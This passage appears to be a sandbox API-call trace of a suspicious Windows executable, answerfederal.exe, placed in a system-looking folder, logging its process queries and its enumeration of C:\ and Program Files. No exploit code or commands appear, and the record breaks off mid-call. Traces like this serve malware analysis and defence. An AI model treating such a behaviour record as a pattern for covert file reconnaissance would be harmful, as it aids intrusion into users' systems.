hProcess=0x3ec, lpExitCode=0x2775754 | out: lpExitCode=0x2775754*=0x103) returned 1 [0102.819] CoTaskMemAlloc (cb=0x404) returned 0x1b46a360 [0102.819] QueryFullProcessImageNameA (in: hProcess=0x3ec, dwFlags=0x0, lpExeName=0x1b46a360, lpdwSize=0x1b30dda8 | out: lpExeName="C:\\Program Files (x86)\\Windows Portable Devices\\answerfederal.exe", lpdwSize=0x1b30dda8) returned 1 [0102.823] CoTaskMemFree (pv=0x1b46a360) [0102.850] CoTaskMemAlloc (cb=0x20c) returned 0x1b4501e0 [0102.850] GetSystemDirectoryW (in: lpBuffer=0x1b4501e0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0102.851] CoTaskMemFree (pv=0x1b4501e0) [0102.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0102.880] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0102.889] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1b4372d0 [0102.890] FindNextFileW (in: hFindFile=0x1b4372d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7898476d, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0102.891] FindNextFileW (in: hFindFile=0x1b4372d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x61b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0102.891] FindNextFileW (in: hFindFile=0x1b4372d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0102.891] FindNextFileW (in: hFindFile=0x1b4372d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x78d17e5a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78d17e5a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78d17e5a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0102.891] FindNextFileW (in: hFindFile=0x1b4372d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa1317bed, ftCreationTime.dwHighDateTime=0x1d99cf2, ftLastAccessTime.dwLowDateTime=0xf974ba53, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xf974ba53, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0102.891] FindNextFileW (in: hFindFile=0x1b4372d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0102.891] FindNextFileW (in: hFindFile=0x1b4372d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x551dbbfd, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x551dbbfd, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x248b69a0, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0102.892] FindNextFileW (in: hFindFile=0x1b4372d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0x4cb5cae1, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4cba8e1e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4cba8e1e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0102.892] FindNextFileW (in: hFindFile=0x1b4372d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x85890a37, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x85890a37, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2555deab, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x48000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0102.892] FindNextFileW (in: hFindFile=0x1b4372d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0102.892] FindNextFileW (in: hFindFile=0x1b4372d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3c6700c, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x3c6700c, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0102.892] FindNextFileW (in: hFindFile=0x1b4372d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xb62d6190, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb62d6190, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0102.892] FindNextFileW (in: hFindFile=0x1b4372d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0102.893] FindNextFileW (in: hFindFile=0x1b4372d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbaa998b0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbadba904, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbadba904, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0102.893] FindNextFileW (in: hFindFile=0x1b4372d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x858b6c65, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x858b6c65, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x25588045, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0102.893] FindNextFileW (in: hFindFile=0x1b4372d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x85289733, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x2dbfc137, ftLastAccessTime.dwHighDateTime=0x1d70505, ftLastWriteTime.dwLowDateTime=0x2dbfc137, ftLastWriteTime.dwHighDateTime=0x1d70505, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0102.893] FindNextFileW (in: hFindFile=0x1b4372d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0102.893] FindNextFileW (in: hFindFile=0x1b4372d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x40b942d, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x40b942d, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0102.893] FindNextFileW (in: hFindFile=0x1b4372d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.894] FindClose (in: hFindFile=0x1b4372d0 | out: hFindFile=0x1b4372d0) returned 1 [0102.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0102.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0102.960] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0102.960] FindFirstFileW (in: lpFileName="C:\\Program Files\\*" (normalized: "c:\\program files\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3c6700c, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x3c6700c, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b437210 [0102.960] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3c6700c, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x3c6700c, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.961] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xf91b29c0, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf91b29c0, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0102.961] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2f72013, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9701bb02, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9701bb02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0102.961] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd2081c9, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0xbd2081c9, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0102.961] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3806e65, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xf91d8be1, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf91d8be1, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0102.961] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57c9ef9e, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xf95462d8, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf95462d8, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0102.961] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fb0bc8d, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xf92250fc, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf92250fc, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0102.962] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb19d1fd3, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xf8ca19b7, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf8ca19b7, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~3")) returned 1 [0102.962] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2176ed, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xf918c809, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf918c809, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0102.962] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde5c2433, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0xf95462d8, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf95462d8, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0102.962] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde5c2433, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0xf91fed52, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf91fed52, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0102.962] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf22b9950, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf22b9950, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf22b9950, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0102.962] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf91fed52, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf91fed52, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0102.962] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ebef3a1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xf91b29c0, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf91b29c0, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WIA843~1")) returned 1 [0102.963] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf91b29c0, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf91b29c0, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0102.963] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf95462d8, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf95462d8, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WINDOW~3")) returned 1 [0102.963] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47584, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf95b89a4, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf95b89a4, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~4")) returned 1 [0102.963] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47584, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf918c809, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf918c809, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WI67CB~1")) returned 1 [0102.963] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47584, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd254645, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0xbd254645, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0102.963] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47584, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf91fed52, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf91fed52, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0102.963] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47584, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf918c809, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf918c809, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0102.964] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc47584, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x2224dfa5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2224dfa5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1 [0102.964] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc47584, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc47584, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xc47584, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0102.964] FindNextFileW (in: hFindFile=0x1b437210, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, 